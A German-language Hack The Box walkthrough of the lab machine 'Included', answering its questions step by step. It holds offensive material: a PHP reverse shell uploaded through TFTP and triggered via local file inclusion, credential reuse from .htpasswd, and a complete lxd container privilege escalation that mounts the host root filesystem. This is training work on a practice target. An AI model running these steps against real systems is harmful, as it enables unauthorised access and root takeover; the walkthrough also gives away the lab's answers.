Included | HTB Starting Point Writeup T2M05

Included | HTB Starting Point Writeup T2M05

In diesem Writeup geht es um die Starting Point Maschine "Included" auf Hack The Box.

Wie immer, dass passende Video zum Beitrag hier: https://youtu.be/DoqppyDZ2Kk


  1. Welcher Dienst wird auf dem Zielrechner über UDP ausgeführt?

tftp

Um das herauszufinden starten wir einen nmap Scan mit dem Switch -sU für einen UDP Scan. Außerdem geben wir -sV mit an, um den Dienstnamen zu erkennen.

sudo nmap -sU -sV <ip>
Ein kompletter UDP Scan dauert mit Nmap relativ lange.
UDP Scan
udp scan

  1. Für welche Art von Sicherheitslücke ist die Webseite, die an Port 80 gehostet wird, anfällig?

Local File Inclusion

An der URL fällt uns auf, dass am ende eine entsprechende Datei angegeben wird.

URL
url

Hierbei handelt es sich um die Sicherheitslücke Local File Inclusion (LFI). LFI ist eine Lücke die es ermöglicht, Dateien auf dem Zielsystem anzusehen.


  1. Welches ist der Standard-Systemordner, den TFTP zum Speichern von Dateien verwendet?

/var/lib/tftpboot/

Die Antwort auf die Frage erhalten wir durch Googlen.


  1. Welche interessante Datei befindet sich im Webserver-Ordner und kann für Lateral Movement verwendet werden?

.htpasswd

Wir können überprüfen ob die Datei .htpasswd existiert. Wenn ja, erhalten wir hier ggf. ein User und Passwort, welches ggf. wiederverwendet wird. Mehr Infos hier

http authentication
http authentication
.htpasswd
.htpasswd

  1. Welcher Gruppe gehört der Benutzer Mike an und kann für Privilege Escalation ausgenutzt werden?

lxd

Um das in Erfahrung zu bringen, brauchen wir eine Session auf dem Zielsystem. Dafür laden wir eine PHP-Reverse-Shell hoch über den uns bekannten tftp Dienst.

  1. Als erstes Kopieren wir uns ein Exemplar der Reverse-Shell um anpassungen daran vorzunehmen.
cp /usr/share/webshells/php/php-reverse-shell.php ~
  1. Nun passen wir den Port und die IP-Adresse an.
edit Shell
edit shell
  1. Jetzt laden wir die Shell per tftp hoch.
tftp upload
tftp upload
  1. Listener starten
listener
listener
  1. Reverse-Shell ausführen.
url
url
shell
shell
  1. Terminal aufwerten
SHELL=/bin/bash script -q /dev/null
better shell
better shell

Nun können wir versuchen uns mit dem herausgefunden Password als User mike anzumelden.

login as Mike
login as mike

Wenn wir jetzt id eingeben sehen wir, dass Mike in der Gruppe lxd ist.

group
group

Nach kurzer Recherche finden wir einen Privilege Escalation weg für lxd container hier.


  1. Wenn wir ein Image verwenden, um ein System über Container auszunutzen, suchen wir nach einer sehr kleinen Distribution. Unser Favorit für diese Aufgabe ist nach Bergen benannt. Wie lautet der Name dieser Distribution?

alpine

Die Antwort finden wir in unserem gefunden Weg zur Privilege Escalation.

Privesc way
privsec way

  1. Welches Flag setzen wir in den Container, damit er Root-Rechte auf dem Host-System hat?

security.privileged=true

Auch diese Antwort steht in unserem gefunden Weg.


  1. Wenn das Root-Dateisystem im Container unter /mnt eingehängt ist, wo kann die Root-Flag auf dem Container gefunden werden, nachdem das Hostsystem eingehängt wurde?

/mnt/root/

Dafür führen wir nun zuerst die Privilege Escalation durch. Leider hat das Zielsystem keinen Zugriff auf das Internet, weshalb wir die Offline Variante von Hacktrickz durchführen müssen. Bedeutet, wir erstellen auf unserem Angreifer System ein Image und laden dieses dann auf das Zielsystem herunter.

Folgende Befehle müssen auf dem Angreifer System ausgeführt werden

#Image auf dem Angreifer System erstellen
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

Nun starten wir einen Python http Server um das Image zu übertragen

python -m http.server

Und Laden das Image auf dem Zielsystem herunter (dafür müssen wir im home Verzeichnis des Users Mike sein!).

Folgende Befehle müssen auf dem Zielsystem ausgeführt werden

wget 10.10.14.18:8000/alpine-v3.8-i686-20240716_0958.tar.gz

Als nächstes importieren wir das Image

lxc image import ./alpine-v3.8-i686-20240716_0958.tar.gz --alias myimage

Mit dem folgenden Befehl konfigurieren wir ein default storage pool

lxd init

Jetzt starten wir das image

# run the image
lxc init myimage mycontainer -c security.privileged=true

Nun müssen wir noch die root Partition in den Container mounten

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

Abschließend starten wir den Container und interagieren mit ihm

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

das root Verzeichnis des System befindet sich in dem Container unter /mnt/root/


Flags

User Flag:

Die User flag befindet sich im home Verzeichnis von dem User mike

user flag
user flag

Root Flag:

Die Root Flag finden wir im Container unter /mnt/root/root/

root flag
root flag